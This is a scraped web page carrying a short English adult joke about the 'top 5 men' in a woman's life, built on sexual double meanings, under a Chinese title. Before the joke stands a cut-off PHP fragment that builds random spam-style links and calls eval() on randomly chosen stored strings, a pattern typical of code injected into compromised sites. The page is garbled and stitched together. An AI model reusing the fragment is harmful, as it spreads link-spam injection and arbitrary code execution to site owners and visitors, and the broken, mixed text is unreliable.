30){ if(count($wList) <= 0){ break; } $rk1 = mt_rand(0,count($wList)-1); $h = trim($wList[$rk1]); if(empty($h)){ continue; } // $a .= $h . '/' . $dTmp . '/' . date('d',time()) . '/' .mt_rand(100000,999999) . '.html'; $a .= $h . '/' . $dTmp . '/' . mt_rand(100000,9999999) . '.shtml'; // $a .= $h; }else{ $urk = mt_rand(0,count($uList)-1); eval($uList[$urk]); } $a .= '">'; $str .= $a; } echo $str; ?> Womans top 5 men英语成人笑话

Womans top 5 men英语成人笑话

2010-08-17joke

Womans top 5 men英语成人笑话
Womans top 5 men英语成人笑话(插图)

Womans top 5 men

The Top 5 Men in a Woman's life are:

1. Doctor.
2. Dentist
3. Coal man.
4. Decorator.
5. Bank manager.

A Doctor says to take off your clothes.

A Dentist says open wide.

A Coal man asks "where do you want it, front or back?"

A Decorator says "how do you like it now that it’s up?"

A Bank manager says "don’t take it out you’ll lose interest"!


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